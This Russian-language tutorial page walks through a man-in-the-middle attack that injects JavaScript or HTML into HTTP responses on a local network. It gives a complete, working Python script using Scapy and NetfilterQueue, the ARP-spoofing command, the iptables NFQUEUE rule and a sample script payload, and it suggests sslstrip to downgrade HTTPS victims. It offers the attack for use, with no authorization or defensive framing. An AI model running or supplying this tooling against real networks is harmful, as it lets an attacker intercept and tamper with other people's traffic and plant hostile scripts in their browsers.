Как внедрить код в HTTP-requests в сети на Python

Узнайте, как можно внедрить Javascript, HTML или CSS в пакеты ответов HTTP в сети с помощью Scapy и NetfilterQueue в Python.

После выполнения ARP-спуфинга на целевом компьютере в сети вы можете выполнять множество типов атак. Как вы, возможно, уже знаете, при ARP-спуфинге цели в сети вы становитесь человеком посередине, что означает, что каждый передаваемый пакет виден и может быть изменен злоумышленником.

В этой статье вы узнаете, как внедрить код Javascript (или даже HTML и CSS) в HTTP-пакеты в сети с помощью библиотеки Scapy в Python.

Scapy – это инструмент манипуляции пакетами для компьютерных сетей, написанный на языке Python. Он работает в Linux и предоставляет нам возможность легко перехватывать, читать и изменять пакеты.

Чтобы иметь возможность изменять пакеты на лету, необходимо:

  • Иметь Linux-машину, Kali Linux – это плюс.
  • Быть человеком посередине путем ARP спуфинга цели, учебник по ARP спуфингу даст вам больше подробностей о том, как это делается, а мы просто запустим скрипт в этом учебнике.
  • Добавление нового правила NFQUEUE FORWARD в команде iptables.
  • Запустите сценарий Python из этого руководства.

Во-первых, давайте установим необходимые библиотеки для этого учебника:

$ pip install scapy==2.4.5 netfilterqueue colorama

NetfilterQueue предоставляет доступ к пакетам, соответствующим правилу iptables в Linux. Таким образом, пакеты могут быть изменены, отброшены, приняты или переупорядочены.

Мы будем использовать colorama для цветной печати.
Сначала импортируем наши библиотеки и инициализируем цвета:

from scapy.all import *
from colorama import init, Fore
import netfilterqueue
import re

# initialize colorama
init()

# define colors
GREEN = Fore.GREEN
RESET = Fore.RESET

Далее, чтобы привязаться к NetfilterQueue, мы должны сделать функцию, которая принимает пакет в качестве параметра, и в ней мы будем выполнять модификацию пакета. Функция будет длинной и поэтому разделена на две части:

def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    # convert the netfilterqueue packet into Scapy packet
    spacket = IP(packet.get_payload())
    if spacket.haslayer(Raw) and spacket.haslayer(TCP):
        if spacket[TCP].dport == 80:
            # HTTP request
            print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
            try:
                load = spacket[Raw].load.decode()
            except Exception as e:
                # raw data cannot be decoded, apparently not HTML
                # forward the packet exit the function
                packet.accept()
                return
            # remove Accept-Encoding header from the HTTP request
            new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
            # set the new data
            spacket[Raw].load = new_load
            # set IP length header, checksums of IP and TCP to None
            # so Scapy will re-calculate them automatically
            spacket[IP].len = None
            spacket[IP].chksum = None
            spacket[TCP].chksum = None
            # set the modified Scapy packet back to the netfilterqueue packet
            packet.set_payload(bytes(spacket))

Это только половина функции:

  • Мы преобразуем наш пакет Netfilterqueue в пакет Scapy, обернув пакет packet.get_payload() пакетом IP().
  • Если пакет имеет уровень Raw (какие-то данные), имеет уровень TCP, а порт назначения равен 80, то это определенно HTTP-запрос.
  • В HTTP-запросе мы ищем заголовок Accept-Encoding, если он есть, то мы просто удаляем его, чтобы получить HTTP-ответы в виде необработанного HTML-кода, а не какого-то сжатия, например, gzip.
  • Мы также установили длину IP-пакета, контрольные суммы уровней TCP и IP в None, чтобы Scapy автоматически пересчитал их.

Далее, вот другая часть обнаружения HTTP-ответов:

        if spacket[TCP].sport == 80:
            # HTTP response
            print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
            try:
                load = spacket[Raw].load.decode()
            except:
                packet.accept()
                return
            # if you want to debug and see the HTML data
            # print("Load:", load)
            # Javascript code to add, feel free to add any Javascript code
            added_text = "<script>alert('Javascript Injected successfully!');</script>"
            # or you can add HTML as well!
            # added_text = "<p><b>HTML Injected successfully!</b></p>"
            # calculate the length in bytes, each character corresponds to a byte
            added_text_length = len(added_text)
            # replace the </body> tag with the added text plus </body>
            load = load.replace("</body>", added_text + "</body>")
            if "Content-Length" in load:
                # if Content-Length header is available
                # get the old Content-Length value
                content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
                # re-calculate the content length by adding the length of the injected code
                new_content_length = content_length + added_text_length
                # replace the new content length to the header
                load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
                # print a message if injected
                if added_text in load:
                    print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}")
            # if you want to debug and see the modified HTML data
            # print("Load:", load)
            # set the new data
            spacket[Raw].load = load
            # set IP length header, checksums of IP and TCP to None
            # so Scapy will re-calculate them automatically
            spacket[IP].len = None
            spacket[IP].chksum = None
            spacket[TCP].chksum = None
            # set the modified Scapy packet back to the netfilterqueue packet
            packet.set_payload(bytes(spacket))
    # accept all the packets
    packet.accept()

Теперь, если порт источника 80, то это HTTP-ответ, и именно здесь мы должны изменить наш пакет:

  • Во-первых, мы извлекаем наш HTML-контент из HTTP-ответа по атрибуту load пакета.
  • Во-вторых, поскольку каждый HTML-код имеет заключающий тег body (), мы можем просто заменить его на внедренный код (например, JS) и добавить обратно в конец.
  • После того как переменная load будет изменена, нам нужно заново вычислить заголовок Content-Length, который отправляется в HTTP-ответе, мы добавляем длину внедренного кода к исходной длине и устанавливаем ее обратно с помощью функции re.sub(). Если текст находится в загрузке, мы печатаем зеленое сообщение, указывающее на то, что мы успешно изменили HTML HTTP-ответа.
  • Кроме того, мы установили load обратно и удалили длину и контрольную сумму, как и раньше, чтобы Scapy вычислил их заново.
  • Наконец, мы устанавливаем модифицированный пакет Scapy в пакет NetfilterQueue и принимаем все перенаправленные пакеты.

Теперь наша функция готова, давайте запустим очередь:

if __name__ == "__main__":
    # initialize the queue
    queue = netfilterqueue.NetfilterQueue()
    # bind the queue number 0 to the process_packet() function
    queue.bind(0, process_packet)
    # start the filter queue
    queue.run()

После инстанцирования NetfilterQueue() мы привязываем нашу ранее определенную функцию к номеру очереди 0, а затем запускаем очередь.

Сохраните файл как http_code_injector.py, и давайте начнем атаку.

ARP-спуфинг цели

Чтобы начать работу, необходимо иметь две машины, подключенные к одной сети. Целевая машина может быть на любой ОС. Однако атакующая машина должна быть на Linux. В противном случае это не сработает.

Как только у вас есть IP-адрес целевой машины, а также IP-адрес шлюза (маршрутизатора или точки доступа), возьмите этот скрипт ARP Spoofing Python и запустите его на атакующей машине:

$ python3 arp_spoof.py 192.168.43.112 192.168.43.1

В моем случае 192.168.43.112 – это IP-адрес целевой машины, а IP-адрес шлюза – 192.168.43.1; вот как будет выглядеть результат:

[!] Enabling IP Routing...
[!] IP Routing enabled.

Это позволило включить IP-переадресацию, которая необходима для пересылки пакетов на машину злоумышленника. Если вы хотите увидеть ARP-пакеты, отправленные этим скриптом, просто передайте параметр -v или –verbose.

Добавление правила IPTables

Теперь, когда вы являетесь человеком посередине, добавьте правило FORWARD в iptables:

$ iptables -I FORWARD -j NFQUEUE --queue-num 0

После выполнения этой команды вы заметите, что целевая машина потеряет подключение к Интернету, а все потому, что пакеты застряли на машине злоумышленника, и нам нужно запустить наш сценарий, чтобы вернуть их обратно.

Внедрение кода в HTTP-пакеты

Теперь мы просто запустим Python-код этого учебника:

$ python http_code_injector.py

Теперь перейдите на целевую машину и просмотрите любой HTTP-сайт, например ptsv2.com или http://httpbin.org, и вы увидите нечто подобное на машине атакующего:

Как внедрить код в HTTP-requests в сети на Python

В браузере на целевой машине вы увидите предупреждение, которое мы внедрили:

Как внедрить код в HTTP-requests в сети на Python

Вы также увидите внедренный код, если просмотрите исходный текст страницы:

Как внедрить код в HTTP-requests в сети на Python

Заключение

Потрясающе! Теперь вы не ограничены этим! Вы можете внедрить HTML, CSS, заменить заголовок, заменить стили, заменить изображения и многое другое; предел – это ваше воображение.

Когда вы завершите атаку, убедитесь, что вы CTRL+C скрипт ARP спуфинга и выполните команду iptables –flush, чтобы вернуть все в нормальное состояние.

Для получения более подробной информации об ARP спуфинге ознакомьтесь с нашим руководством по этому вопросу.

Обратите внимание, что код будет работать только на HTTP-сайтах. Если вы хотите, чтобы он работал на HTTPS, используйте такие инструменты, как sslstrip, чтобы перевести целевую машину с HTTPS на HTTP.

+1
0
+1
0
+1
0
+1
0
+1
0

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *